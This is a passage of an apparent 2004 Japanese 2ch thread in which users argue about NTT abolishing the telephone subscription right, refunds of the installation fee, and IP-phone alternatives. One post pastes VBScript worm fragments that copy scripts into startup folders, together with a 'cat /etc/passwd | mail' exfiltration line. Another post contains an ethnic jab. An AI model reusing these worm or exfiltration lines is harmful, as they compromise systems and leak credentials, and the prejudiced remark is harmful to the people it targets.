0362名無しさんに接続中…
04/11/06 13:28:22ID:OsQEq0Ss要するに万人が納得できる理由なんて無い
とりあえず騒げば金が取れそうだから喚いてるって訳かｗ
0363名無しさんに接続中…
04/11/06 15:03:59ID:mL9ZSodf簡単ですよね？＞NTT
0364名無しさんに接続中…
04/11/06 15:11:05ID:ANKylRub通話料を永久に無料とします」って発表すればＯＫ
0365名無しさんに接続中…
04/11/06 15:12:23ID:Ekm1QCI5刺ね カス！
0366名無しさんに接続中…
04/11/06 15:38:07ID:2zpc8JgQ今116で聞いたらダイヤル→プッシュの工事料金は2,100円普通にかかるそうだ。
将来も無料にするつもりはないと言い切ってたな。
0367名無しさんに接続中…
04/11/06 16:04:00ID:HGGlRCra0368名無しさんに接続中…
04/11/06 16:09:06ID:2RhPNDSP漏れも聞いた。やっぱ工事費掛かるって。
んで、イチリッツに登録させられた。
ま、いつか登録する気だったからいいんだけど。
0370名無しさんに接続中…
04/11/06 21:38:47ID:yeksCUO5そうだ光りにしよう
0371名無しさんに接続中…
04/11/06 22:34:05ID:xRi6yXgOだったらダイエーみたいに１度つぶれてください
そうすれば許します
0372名無しさんに接続中…
04/11/07 00:37:03ID:GPvh3SIs0373名無しさんに接続中…
04/11/07 00:45:23ID:0Zq3jQrE５年以上使うならライトプランより加入権買取のほうが得
とか言って７２０００円ぼってる事実は詐欺認定できる。
0374名無しさんに接続中…
04/11/07 00:54:10ID:0a8xGTuC“資金負担”であって，正式名称を「施設設置負担金」と言うのだ。
「電話加入権は施設設置負担金を支払ったユーザーが得られる，
電話を引くことができる権利」（NTT地域会社のある担当者）という。
この施設設置負担金は「電話インフラの整備に使ってきたもので
返還する義務はない」（同）という性格のものだという。設置負担金はユーザーが
NTT地域会社に7万2000円を支払った時点で“消滅”。
電話加入権だけが残るのである。
街中の業者や家電量販店で格安に販売している「電話加入権」はまさしく電話に
加入する権利だけなのだ。電話加入権を購入すれば電話を引くことができる。
ただし設置負担金をやり取りしているわけではないのだ。
混乱を避けるため，ここからは施設設置負担金と電話加入権を
使い分けることにする。
ｈｔｔp://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040410/142730/
0375名無しさんに接続中…
04/11/07 01:18:08ID:YxNGswh5つか、NTTは勘違いするよう仕向けたから仕方がない
企業詐欺だな
0376名無しさんに接続中…
04/11/07 01:34:43ID:rzvDfNuE電話に関する施設は主に家庭内と交換局内二つ合って
交換局の方の施設は家を壊しても残るんだから
交換局の施設を権利として売買が出来るって考えは合理的だけどね。
逆に売買できないとしてしまったら
交換局内の施設そのものは壊してないのに
線を引く場所をかえただけでまた金を取られるという事になる
0377名無しさんに接続中…
04/11/07 10:51:11ID:14LpDarX加入権の他にも受信料制度とか固定電話番号の信用とか。（これは加入権と関連あるが）
0378名無しさんに接続中…
04/11/07 11:23:57ID:tTcfqKg8ということは施設負担金を廃止して加入権を残すことも考えられるな。施設負担金を
廃止するということは加入権の新規購入はなしということになる。ただし既存の加入
権は残して取引業者で売買できるようにし、加入権所持者はライトプランより安い基
本料金で利用できるようにする。
0379名無しさんに接続中…
04/11/07 11:36:30ID:90zVsmRa半分でも良いから返してくれー。
電話代の消費税を１０年間タダにしてくれー
0380名無しさんに接続中…
04/11/07 13:02:38ID:8kcV/G8oNTTは電話を引く為に徴収した施設負担金を通話目的以外の光ファイバー網整備にも
不正流用しているらしい
0381名無しさんに接続中…
04/11/07 13:25:16ID:7qV5z+nZソースは？
>>379
最初から返さなくて良いものが
新規無料になるだけの話なので
返せというのはお門違い
0382名無しさんに接続中…
04/11/07 15:38:23ID:pjj19u6S同じことを豊田商事または
下手すればソフトバンクでも
やった場合は間違い無く詐欺なのに
NTTだけ許されるのは間違ってる
0383名無しさんに接続中…
04/11/07 16:03:38ID:yinC5RbJ>「私にこの株を買うように勧めた営業マンが悪い」とでも言うんですか？
「絶対、損しませんよ！」と言って買わせた場合は、営業マンが悪い。
違法な勧誘なので、その取引での損失分は取り返せる。
NTT関係者って、悪徳証券会社の違法営業マンと同じやり方が「問題無い」
とでも思っているようだな。バカも休み休み言ってくれ。
0384名無しさんに接続中…
04/11/07 16:05:25ID:rRn7+1dU4兆円の資産が一瞬でゼロになる。
小さい国なら、それだけで、国家破産。
0385名無しさんに接続中…
04/11/07 16:07:10ID:yinC5RbJ>とりあえず騒げば金が取れそうだから喚いてるって訳かｗ
それはNTTの手口の事を言っているのか？
やれ、競合他社がどうだの時代性がどうだのと、ゴネれば
資産性を謳って売って来た加入権を、なんの補填も無しに
廃止できそうだと画策している訳で、
0386名無しさんに接続中…
04/11/07 16:08:40ID:mbtpHUQ80387名無しさんに接続中…
04/11/07 16:32:55ID:rzvDfNuE売買できる権利だといってるだけ
>>385
売買できるんだから資産だろ？
意識的に資産であることと売価が維持される事を混同しようとしてるよね
0388名無しさんに接続中…
04/11/07 17:11:30ID:yinC5RbJ>売買できるんだから資産だろ？
産廃業者でもないのに、実質的にゴミを引き受けて敷地に投棄
するために、わざと表向きに値段を付けて引き取って、これは
「資材」だとか言い張ったヤクザと同じような理屈だな。
0389名無しさんに接続中…
04/11/07 17:15:59ID:yinC5RbJ>売価が維持される事を混同しようとしてるよね
>>362のような「株の例え」をするならば、NTTは
まるで「絶対に損しません！」と言った営業マン
みたいなものだから、その株価が下がった場合は
弁償しなければならない事になると思われ。
0390名無しさんに接続中…
04/11/07 17:19:32ID:yinC5RbJ>売買できる権利だといってるだけ
百歩譲って、それを認めたとしても、まだおかしい。
なぜなら、加入権廃止をするならば当時に謳っていた
「売買できる権利」も消滅する。
0391名無しさんに接続中…
04/11/07 17:22:55ID:yinC5RbJ引用間違えた。訂正。
× >>362のような「株の例え」
○ >>338のような「株の例え」
0392名無しさんに接続中…
04/11/07 17:52:46ID:wYFjAml5連続投稿はご遠慮くださいね
0393名無しさんに接続中…
04/11/07 20:17:59ID:rzvDfNuE意味わからん
>>389
いつ売価が不変であるなんていったんだ？
>>390
権利が消滅するのではなく
現実として買い取る者が居なくなるだけだと思われ
0394名無しさんに接続中…
04/11/07 21:30:40ID:8JFaAXvPバブルの時代には全国津々浦々電話線が敷設できただろう。
少なくとも１０年近く金を巻き上げていたということ。
廃止するなら、とうの昔にできたはず。
もう一度言う。日本テレコム・KDDIが参入と同時に廃止するのはおかしい。
それから他社参入で今まで取っていたプッシュ回線利用料約400円も廃止するのはおかしい。
そんな名目で金巻き上げているのは世界を見渡してもNTTのみ。
400円が本当に必要なコストなら値下げはできても、廃止なんてとてもできないはず。
競争がないから、くれるものを貰っていただけ。
>>393 市民感情からかけ離れた対応を擁護するお前は普通に見てNTT関連の人間。
NTT社員の詭弁はもう沢山。NTTは解体するべし。
0395名無しさんに接続中…
04/11/07 21:35:54ID:wtwQn3j5NTT労組はオマエと同じように加入権廃止に反対なのですが、無知ですか？
0396名無しさんに接続中…
04/11/07 21:45:15ID:z/6riYn3加入権すでに持ってる人に全額返金。
新規加入は0円。これで全員納得。
ぬるい経営してたツケがまわっただけ。
0397名無しさんに接続中…
04/11/07 22:03:54ID:psvXXSAHhttp://www.broadbandshop.co.jp/
0398名無しさんに接続中…
04/11/07 22:05:07ID:H6tWRGtWttp://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040410/142730/
「電話加入権」を廃止すべきか？（上）
■ついに廃止の方向性を明言，加入権廃止でユーザー増？
■すでに“負担”は軽減されているはず
■加入権は戦後復興時の制度
■本名は「施設設置負担金」
■複雑な歴史を持つ加入権制度
ttp://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040410/142731/
「電話加入権」を廃止すべきか？（下）
■廃止メリットは本当にあるのか
■即刻値下げすべきでは
■企業にも大きな影響
ttp://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040426/143555/
【結果報告】電話加入権を廃止すべきか？
0399名無しさんに接続中…
04/11/07 22:07:24ID:rzvDfNuE新規事業者が参入したら対抗して値下げするのは極々普通の行為だろｗ
新規参入があったのに対抗措置を取らない企業を教えて欲しい。
むしろなんだかんだいってＮＴＴを縛り
結果として今の時期まで新規参入させなかったことの方が問題
0400名無しさんに接続中…
04/11/07 22:14:21ID:ldLIKzrVもっと高く買い取ってくれるところありませんか？
0401名無しさんに接続中…
04/11/07 22:15:09ID:TZ/ck3IP0402名無しさんに接続中…
04/11/07 22:35:03ID:mbtpHUQ8本が取れるかな？死ぬまでに元取れるかな？
0403名無しさんに接続中…
04/11/08 00:01:42ID:DkiX+L3Iショックでかそうだな。
0404名無しさんに接続中…
04/11/08 02:42:47ID:XnCnndGF７万円分のテレカ送りつけて もうこれで俺の責任は無いねバイバーイw
（別に一括でなくていい 毎月とか数ヶ月に一回づつとかの分割でも）
今更テレカなんて送ってこられても使う機会ないしね
そして毎月の基本料金だけはしっかり取る
こっちのやり方のほうが
下手に何も返さず加入権廃止とかやるより
ずっと楽で賢いと思うけどな
0405名無しさんに接続中…
04/11/08 03:59:34ID:0McNip/z4.テレホンカードについて
4-1 未使用のテレホンカードを持っていますが、使い道はありますか
未使用のテレホンカードは、毎月のＮＴＴ電話料金のうちダイヤル通話料への支払いに充てることができます。取扱いは弊社窓口でさせていただいております。
>>404ずっと楽で賢いと思うけどな
本当だ 賢いな
0406名無しさんに接続中…
04/11/08 04:15:41ID:1jsJi+BECG-BARHX \4,931
http://www.ntt-west.co.jp/kiki/consumer/flets/720/index.html
Web Caster 720 9,500円
同じ商品でも競争がないと値段が倍になるんですね
0407名無しさんに接続中…
04/11/08 07:23:30ID:C9CuPGWYどこかで誰かと繋がっているからそう言うことをやっているけど、
そろそろ許してもらえなくなってくるよ。
国民は怖いんだぞ。
0408名無しさんに接続中…
04/11/08 10:06:51ID:Sal4E/0Y>いつ売価が不変であるなんていったんだ？
そういう言い方だと、悪徳証券会社の違法営業マンを肯定する
ような主張になってしまいますよ。
NTTは違法行為を肯定する企業？
0409名無しさんに接続中…
04/11/08 11:31:30ID:Ue2twNLf最後は800円くらいにすれば何も問題ない。
帳簿上は、値下げに応じて償却すればいいしね。
なんで"廃止"なんて言い出したのか理解に苦しむ。
0410名無しさんに接続中…
04/11/08 15:06:08ID:L4zCduLZ0411名無しさんに接続中…
04/11/08 20:06:54ID:htY0hmD0新しく加入するした人の7万円の減額分は誰が払うことになるの？
電話料金に上乗せでみんなで均等に払うことになるのかな。
今後値下げで増えた分を吸収しても、関係ない奴らの分まで払うのは嫌だな。
それが毎月１円であっても。
0412名無しさんに接続中…
04/11/08 20:32:23ID:WBWuiTVD純粋に電話線工事と交換機工事に使ってきたことを証明しなくては
ならない。それが出来ない経理内容なら立派な詐欺になるのでは
ないだろうか？。
廃止云々の前にそういった総括が必要ではないのか？。
0413名無しさんに接続中…
04/11/08 20:40:14ID:2jHC5s2i何もしないで、勝手に廃止するのが最悪。
0414名無しさんに接続中…
04/11/08 20:45:10ID:CchF1G3KＮＴＴ加入権廃止『国家的詐欺』の手口
ttp://www.tokyo-np.co.jp/00/tokuho/20041022/mng_____tokuho__000.shtml
■財産うたうパンフ
■大口顧客には『買い取り』も
■売買が行われ相続税も発生
■『基本料金を無料にして』
■ことば＝電話加入権
新たに電話を設置する際に、ＮＴＴ東日本、西日本に「施設設置負担金」を支払うと、
転居して電話を設置する場合も新たな負担は必要なく、電話を使わなくなったら転売
することも可能なため「電話加入権」と呼ばれている。旧電電公社時代の「設備料」も
同じもの。
ＮＴＴは電話網整備に充てる一時金だとして返金に応じないが、約６０００万人の電話
加入者のほとんどが保有するため、現行の負担金で計算すると総額約４兆３２００億
円（税抜き）になる。
旧電電公社時代の１９５３年から３０年間、新規加入者に購入を義務付けていた電信
電話債券は加入権とは別物で、すでに全額償還されている。
0415名無しさんに接続中…
04/11/08 21:15:49ID:xHjyF7ydもし廃止になったら、
新しく加入するした人の7万円の減額分は誰が払うことになるの？
電話料金に上乗せでみんなで均等に払うことになるのかな。
今後値下げで増えた分を吸収しても、関係ない奴らの分まで払うのは嫌だな。
それが毎月１円であっても。
0416名無しさんに接続中…
04/11/08 21:44:45ID:DkiX+L3I0417名無しさんに接続中…
04/11/08 22:06:42ID:AX9NJaZ+不満ならNTT回線やめればいいんだよ。
俺はIP電話導入を機会に解約したよ。
0418名無しさんに接続中…
04/11/08 22:08:38ID:5/l+uNHS0419名無しさんに接続中…
04/11/08 22:31:43ID:6np8HVxQそういう回りくどい言い方しないでこう言ってやればいいんだよ
NTTはソフトバンクのやるようなやり方が大好きです大賛成です
0420名無しさんに接続中…
04/11/08 23:50:33ID:Sal4E/0Y0421名無しさんに接続中…
04/11/08 23:52:33ID:Sal4E/0Y日本国民は謝罪と賠償をしなければいけないから、
加入権は済し崩し的に廃止してよいと、そういう事
なのでしょうか？
0422名無しさんに接続中…
04/11/09 01:24:48ID:DTyfiBuu,: 三ﾆ三ミミ;､-、 | ￣∪￣ |
xX'' `ＹＹ"ﾞミ､ | |
彡" ..______. ﾐ. | そうはいかんざき ｜
::::: :: | |
l,=ﾐ______=三ミ ji,=三ミi | |
i ､'ｰｰｰ|,-・ｰ |=|,ｰ・- | | .|
i; ':: ::: ーｰ" ﾞi ,ｰｰ'j | |
ｰi:: ::i: ／`^ｰﾞ`､_ ..i _,.-'".|,.-ぅ. .|
,. -＜ |:::. ﾞ"i _,,.-==-､;ﾞﾞi", ,.／／ .|
/ 〉 ::.:.. 丶 "￣ﾞ .'ﾉ .／ ニﾕ |
! i, `ｰ-､.,____,___ノ:: _/ ニ｣. |
l ヽl. ヽ､ ,二ﾆ/!l‐'/、 ./`" ￣￣￣￣￣￣￣￣
ﾄ、 ヽ、／＼ /／´~ヽゝ'"
.l ヽ、 ヽ,"（__）／ o〉
l ＼ 〃ｰ'" o／
0423名無しさんに接続中…
04/11/09 14:11:35ID:MMsA/616その営業窓口が、東京だともう一ヶ所しかないんだよね。
わざわざ窓口まで行ってられないもんなあ。
0424名無しさんに接続中…
04/11/10 01:10:11ID:7A+vBAl20425名無しさんに接続中…
04/11/10 01:13:00ID:uY2i1WUt直接文句を言えないように着々と窓口を減らしてたんだな。
0426名無しさんに接続中…
04/11/10 01:21:02ID:eeB0qDS7NTTはリストラして料金を下げろと騒いでたくせに（ｗ
0427名無しさんに接続中…
04/11/10 03:14:15ID:5wfdMhMDリストラしないで（サービスの質を下げずに）料金下げれば最高
つまり重役どもを早く捨てろ と
0428名無しさんに接続中…
04/11/10 03:57:10ID:CKC09w4dNTTのオペレーターって凄いよな、Bフレ開通についてプロバイダ希望聞いてきた
漏れ：BフレでExciteってISPで行きたいんだけど
オペ：はぁ エ キ サ イ ト、ア イ エ ス ピー？
漏れ：だから***********************説明
オペ：知らなかった、OCN、ぷらら、WAKWAKしか、でもこれってプロバイダでしょ
ほんとにBフレその場で解約しようと思ったよ
で俺は３５のおっさんやけど
最近の若い娘はなんなんかね、人と話するときお客様であっても
「はぁ」とか「ケラケラ」とか平気で話す奴多すぎ
サービス業のなんたるか。。。ぐちですまん
あNTT社員にも在日の人はたくさん居るんでそこだけチェックね
0429名無しさんに接続中…
04/11/10 13:56:43ID:vlrN5Pgx0430名無しさんに接続中…
04/11/10 16:07:37ID:fCPo4FJ/http://www.nikkei.co.jp/news/main/20041110NTE2IEC0410112004.html
0431名無しさんに接続中…
04/11/10 18:57:45ID:vlrN5Pgx日本で売上10兆、利益１兆円越してるのはこの２社ぐらいだろ。
0432名無しさんに接続中…
04/11/10 19:13:39ID:TXhANV/g100人客がいて、１人か２人だよな、あんな糞サービス
ISDNといい、ナンバーD400円といい、そんな高付加サービスと思って
るのはNTT社員だけだな。半額にしろ。でもLモードはいらねｗ
(お得ライン等と差別化にNTT標準無料でLモード提供すりゃ知恵やセンスを感じるけどね)
0433名無しさんに接続中…
04/11/10 19:29:23ID:iWGYGs9a0434名無しさんに接続中…
04/11/10 20:43:59ID:b1okStGF俺と同じだ！
BB.Exciteから受けたＮＴＴの電話番号に連絡したら、BB.Exciteがわからなかったらしく、
「プロバイダで取次ぎもやっているところだ」と説明しても理解できなかった。
で、「あんたのところは何をやっている所なのか？」と聞いたら、
Ｂフレの窓口だと・・・・それから信じられないことに
「最近は、色々と取次ぎがあって中々対応できなくて、いやになっちゃいますよ」
って、おまえな・・こっちが嫌になるよ。 ＿|￣|◯
0435名無しさんに接続中…
04/11/10 21:02:46ID:6iOL+iCv加入権の買取りはやっていないといわれた。そういう業者があるので
そっちを探してくれと言われ、いろいろ調べたが、買い取り価格は
なんと最高でも4000円。愕然とした。詐欺も同然！
業者といっても結局、NTTの代理店じゃねーか！
0436名無しさんに接続中…
04/11/10 22:28:21ID:bxGACQU6ﾊｹﾞﾜﾗ
NTTの中の人ラブリーだ
>>435
加入権何って物はない
理解して無いだろ？
0437名無しさんに接続中…
04/11/10 22:52:17ID:JnCqesUPだから＝加入（時無料）権
0438名無しさんに接続中…
04/11/11 00:04:13ID:J3dyDt8jフレッツ～アッカ～フレッツみたいに行ったり来たりする
場合ですが？
0439名無しさんに接続中…
04/11/11 01:57:53ID:UaJ01jPwじゃ加入権引き取って代わりに
１～２年分の基本料金を無料にするくらい簡単ですね
0440名無しさんに接続中…
04/11/11 03:14:00ID:y3Jblrs10441名無しさんに接続中…
04/11/11 04:10:09ID:zs/GAIYm0442名無しさんに接続中…
04/11/11 12:49:21ID:f4NgfcAd変更後：Bフレッツマンションタイプ＋VDSLモデム＋VoIPアダプタ＋ISP
で1,300円以上安くなって速度約10倍でｳﾏｰ
0443442
04/11/11 12:56:52ID:f4NgfcAdNTT回線休止料2100円でﾏｽﾞｰ
0444名無しさんに接続中…
04/11/11 23:50:05ID:/0B3R22k停電になってもIP電話って使えるの？VoIPアダプタってバックアップ電源内臓してるのか？
番号ポータビリティーで固定電話と遜色なくなっても、110と119使えても、停電の問題が
解決してないとねぇ
0445名無しさんに接続中…
04/11/12 00:58:32ID:jZyF2idO>停電になってもIP電話って使えるの？
そういう事を言う奴に限って、バックアップ電源無しで
トーン回線を使ってたりする。
停電時に備えて「バッテリ付き or 黒電話」使ってるか？
0446名無しさんに接続中…
04/11/12 01:07:02ID:WSha06G4藻前は携帯も持てねー貧乏人だな？
0447名無しさんに接続中…
04/11/12 01:12:55ID:WSha06G4トーン回線は停電になると使えないと思っているヴァカをハケーン。
そりゃ電話機によるだろ。
ここ５年くらいの電話機は停電でも受発信ともに使えるのが多いよ。
うちのは３台全部ｏｋ。リダイヤル以外の付加機能は使えないけどな。
ちなみにISDNでもS-2000みたいに局給電だけで受発信できる電話機があるよ。
0448名無しさんに接続中…
04/11/12 06:14:01ID:CzCRmx4sプッシュ回線はNTTの暴利のための商品
使う必要無い
0450名無しさんに接続中…
04/11/12 09:54:52ID:tnPnovL50451442
04/11/12 10:12:26ID:gzmg+6B2HDDレコーダー等。ちょっとした停電なら携帯でOKだし。
停電が理由で毎月1,837円払うのなら、UPSの方が安いと思うよ。
まあ、部屋だけUPS付けてVoIPがOKかは微妙だが。
0452名無しさんに接続中…
04/11/12 11:45:08ID:REQy3mS20453名無しさんに接続中…
04/11/12 13:47:14ID:iXirOPBU0454名無しさんに接続中…
04/11/12 13:57:33ID:fbjSTrLa名案なのでこちらへ要望
http://www.e-gov.go.jp/policy/servlet/Propose
0455名無しさんに接続中…
04/11/12 15:07:49ID:56C5eTDEそれは顧客囲い込みでNTTを喜ばせるだけ
加入権問題に抗議するならなるだけNTTに金を貢がないで済むようにすること
0456名無しさんに接続中…
04/11/12 15:54:40ID:4p7GXAMA１２月にテレコムに乗り換えたらNTTには１銭もはらわなくてすむ
0457名無しさんに接続中…
04/11/12 16:46:32ID:/Z9virWBただなあ・・・・日本テレコムにしちまうとＡＤＳＬがYahooBBの8Mしか使えないんだよな。
それさえなけりゃとっととNTTからおさらば出来るんだが・・・・・
0458名無しさんに接続中…
04/11/12 17:10:52ID:ubXN4pM7日本テレコムに君が払う料金の一部はドライカッパ使用料
としてＮＴＴに支払われますが、何か？
君が払わなくても日本テレコムが代理で払ってくれますが？
0459444
04/11/12 19:00:27ID:ieMmBxMt当然バッテリー付電話
>>446
建物に階段と非常階段の両方は要らない、非常階段は殆ど使わないから無駄と思うのか？
ビルにはエレベーターだけあればいいと思うのか？
中越の地震の状態知ってる？携帯が糞の役にもたたないという被害者の言葉(携帯本体の電源が枯れた+基地局が死んだ)、
覚えておいたほうがいいよ。お前、車買っても任意保険入らないクチだろ。
ちなみに俺は携帯持って10年以上経つけど？
>>448
3級局なら値段かわらない
>>442
サンキュ ＵＰＳって手もありか
0460名無しさんに接続中…
04/11/12 20:58:26ID:4RJdkcAv0461名無しさんに接続中…
04/11/12 21:27:54ID:VTjmsdT0457ではないが、テレコムと同様
0462名無しさんに接続中…
04/11/12 21:55:19ID:WsWzW2Mrというお話だね、こんなユーザー受け入れてくれるところはＮＴＴぐらい
しかない。
0463名無しさんに接続中…
04/11/13 00:14:00ID:9Kcsb2mA基本料金のみだとつらいよね。
0464名無しさんに接続中…
04/11/13 01:02:57ID:fHf9VuJQトーン回線は停電でも使えるが？
0465名無しさんに接続中…
04/11/13 02:34:23ID:8dFNlGPu>>445の家は停電したんじゃなくて電気を止められたんだよ。
そいで電話も止められたのさｗ
電気と電話が止められたなんて恥ずかしくて言えないから「トーンだから停電で電話が使えない」ってごまかしてるのさ。
遊びに来た友達もDQN仲間だからコロッと騙されたんで２ちゃんでも大丈夫と勘違いしたんだろ。
0466名無しさんに接続中…
04/11/13 07:00:29ID:e6DkXEYLんＴＴの基本料金が2,000円程度／月
かかるため、ｅｏ光電話に乗り換えた。
0467名無しさんに接続中…
04/11/13 11:23:42ID:NLU2FY4/だれでも閲覧可能な状態になっていたことが、１２日分かった。
自宅住所や電話番号、メールアドレスのほか、持ち家か賃貸住宅
なのかといった住宅の所有状況が分かるデータもあった。
同社は管理ミスを認め「誠に申し訳ない」と謝罪している。
http://www.asahi.com/national/update/1113/006.html
0468名無しさんに接続中…
04/11/14 09:44:05ID:iRJIb4AG業者の反対があったから出来なかったといってるが、利害関係の影響が大きいことはシロウト
でも容易に想像付く。
この場になって料金戦略が立てられないからといって慌てているが、まさにお役所的な考えで
先伸ばしてきた当然の結果だろ。
施設の費用が要らなくなった時点からの利益分（本来、これで利益が出るのは詐欺みたいな
もんだが・・）は利用者に返金して、あとは廃止なり好きなようにすればよい。
0469名無しさんに接続中…
04/11/14 20:06:31ID:v6dH4hW+0470名無しさんに接続中…
04/11/15 08:18:59ID:w4agweMA>先伸ばしてきた当然の結果だろ。
値上げを先延ばししたのではないから、企業としては問題なし。
>施設の費用が要らなくなった時点からの利益分（本来、これで利益が出るのは詐欺みたいな
>もんだが・・）は利用者に返金して、あとは廃止なり好きなようにすればよい。
返す理由がない。返して赤字になったら株主に対して問題あり。
0471名無しさんに接続中…
04/11/15 08:41:48ID:NOXMU1rD0472名無しさんに接続中…
04/11/15 08:48:45ID:w4agweMA何か反論ある？
0473名無しさんに接続中…
04/11/15 09:12:15ID:dXT/Kxro>>472
馬鹿じゃねーのど素人が。
0474名無しさんに接続中…
04/11/15 09:23:28ID:w4agweMAプロのクレーマーの方ですか？
0475名無しさんに接続中…
04/11/15 14:55:12ID:degXh8Uu粗悪なメタル回線で異様に高い維持費。
先進国でプッシュ回線利用料取ってるのも日本のみ。
0476名無しさんに接続中…
04/11/15 15:54:30ID:auEb83ZK仕事もそれくらい必死なら電話代も法外じゃなくなるのにね！
0477名無しさんに接続中…
04/11/15 16:26:16ID:ESHNaLLC一般人は大人しく料金を払っていればいいんです。アフォな頭で
ツマランこと考えないでください。
0478名無しさんに接続中…
04/11/15 16:39:39ID:p7JzwRovあげ
0479名無しさんに接続中…
04/11/15 16:43:23ID:73gzQH1i0480名無しさんに接続中…
04/11/15 16:56:50ID:ESHNaLLCちゃんと料金払っていますか？あなたの払った代金は株主様等
資本主義の上位に立つ方々のために有効に使われますので
よろしくお願い致します。
0481名無しさんに接続中…
04/11/15 21:40:12ID:b2iADIXSやめてください。たとえ2chでも、落ち着いて話し合いましょう。
無理ならば結構ですけれど。
私はただのNTTが好きな一般人です。あとID:w4agweMAではありません。
0482名無しさんに接続中…
04/11/15 21:46:17ID:VTY2cBC0ID:ESHNaLLC
ID:b2iADIXS
おまえ、前スレからアホ全開だ
0483名無しさんに接続中…
04/11/15 21:50:01ID:JM5AHRZSあなたには負けますよ、あなたがアホさNo.1です
0484名無しさんに接続中…
04/11/15 21:51:40ID:ESHNaLLC反論は自由ですが、根拠もなく「アホ」呼ばわりするのは
やめてください。たとえ2chでも、落ち着いて話し合いましょう。
無理ならば結構ですけれど。
私はただのNTTが好きな一般人です。あとID:w4agweMAです。
0485名無しさんに接続中…
04/11/15 21:51:48ID:IiYH+jeqc.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
0486名無しさんに接続中…
04/11/15 21:57:37ID:YUDH/D2o設備以上の負担金を取ってきたのだから、当然返却する必要あり。
0487名無しさんに接続中…
04/11/15 21:58:38ID:YUDH/D2o変なもん貼るなよ
0488名無しさんに接続中…
04/11/15 22:13:44ID:JM5AHRZS施設設置負担金がNTTに支払われてからの月数によっては返すべきかも
しれないですね。使用料を640円ｘ月数で計算して、それを払うことで
全額返金する、みたいに。
0489名無しさんに接続中…
04/11/15 23:59:49ID:nk9IKNuX0490名無しさんに接続中…
04/11/16 00:06:49ID:IbHER422私の仕事は、企業におけるコミュニケーションコンサルタントだ。
わかりやすくいえば、今流行のイントラネットなどの導入のお手伝いをすることだ。
ネットワークの導入に関しては、すでに米国で10年以上携わってきたので、それなりの
知識はあるつもりでいたが、米国でのやり方は日本ではまったく通用しないことに
驚きを禁じえなかった。わかりやすくいおう。どうして日本の電話料金はここまで高いのだ。
日本の友人牧野氏によれば、NTTが事実上の独占状態であることが原因だそうで、近いうちに
NTTが分割されるという話を聞いた。ところが、私は新聞を見て驚いてしまった。
NTTの分割は、市内通話系の会社と、長距離系の会社への分割だというのだ。
これではいったいなんのために分割するのか、私にはまるで理解ができなかった。
米国も実はつい最近まで、事実上Bellという電話会社が独占をしていて、
電話料金も決して安いものではなかった。しかし、独占禁止法に触れることから、
Bellは自らを分割し、それで電話料金も劇的に安くなった。
その結果、現在のインターネットの普及が加速したことはみなさんご承知の通りだ。
ところが、NTTの分割とBellの分割ではまったく意味が違う。
0491名無しさんに接続中…
04/11/16 00:07:49ID:IbHER422競争が起これば、価格が安くなると同時にサービスの向上が期待できる。
さらに、第三者企業が参入するチャンスも生まれてくるのである。
つまり、消費者にとっては低価格、高品質というメリットが生まれ、
社会にとってはベンチャーが生まれ、結局社会全体の富が増加するほうに
動くのである。ところがNTTの分割案では、競争はまったく起りようがない。
分割された会社の守備範囲が違うので、容易に棲み分けができてしまうからだ。
つまり、電話料金が劇的に安くなるという可能性はほとんどないのである。
大企業の分割は、消費者のため、社会の活性化のために行うというのが
基本的な発想だ。しかし、NTTの分割には、このような発想は一滴のミルクほども
含まれていないのではないだろうか。いったいなんのための分割なのか。
これでは分割されたことによって、サービスの低下が待っているだけではないだろうか。
日本の消費者は、どうしてこれに異議を唱えないのだろうか。
(ttp://members.at.infoseek.co.jp/tmakino/dummy/dummy.html)
0492名無しさんに接続中…
04/11/16 00:20:30ID:4k07mfYB東は東日本 西は西日本 市外はコミュニケーション 携帯はドコモ
では競争が起きるわけがない
0493名無しさんに接続中…
04/11/16 00:37:53ID:FcMM6TLT要望出してみた。
以下、本文。
---
NTTの加入権廃止問題に関して、個人や企業での保有者・加入権売買業者の資産が事実上「一瞬にして消滅」してしまうのは好ましくなく、単純に廃止すべきでない。
この際、「NTT・利用者・加入権業者」それぞれの立場を勘案して、無理なく事態を収拾するには「加入権相当分をNTT料金の割引クーポンに転換する」という措置を取るのが妥当ではないでしょうか。
総務省には、旧郵政省の日本電信電話公社から継承されるNTTの事業には充分な責任感と配慮を発揮した政策を願います。
---
＜メール送信受付完了＞
内閣府、公正取引委員会、総務省への送信依頼を受付ＩＤ：0000012542で受付ました。
0494名無しさんに接続中…
04/11/16 00:43:52ID:jds/uCt3>根拠もなく「アホ」呼ばわりするのは
>やめてください。
こんな糞みたいな企業の肩をもつのはアホしかいないだろ
>私はただのNTTが好きな一般人です。
保身しか考えない3流企業が大好きなんだね
0495名無しさんに接続中…
04/11/16 08:30:37ID:PPTZ1bdl乞食が必死ですね
0496名無しさんに接続中…
04/11/16 14:40:39ID:CpMlS2Le放置してやれ
0497名無しさんに接続中…
04/11/16 16:30:07ID:DrSRjEUZせめて今どういう風な手順で無くそうとしているのかぐらい把握してから送れよｗ
0498名無しさんに接続中…
04/11/16 20:41:26ID:dHR1fv3Eアホが必死ですね
0499名無しさんに接続中…
04/11/17 05:53:51ID:1la4D/JF>>498
痛いヤシなんだから、これ以上イジメちゃかわいそうだろ・・・・
0500名無しさんに接続中…
04/11/17 09:00:20ID:WJFJSh8k・天皇＝元首。
・行政権を、内閣ではなく首相に属するものとする。
・参院で否決されたことでも衆院過半数で可決（今までは２／３以上だった）
＝つまり自民と公明が賛成してれば可決。
・憲法改正手続きも簡素化。
ほんとに放っといていいの？？
0501名無しさんに接続中…
04/11/18 11:13:32ID:tWEw9Jka小泉ちゃんみたいな中途半端な奴が出てきたら困るし
0502名無しさんに接続中…
04/11/18 22:36:25ID:vjUuRPHR0503名無しさんに接続中…
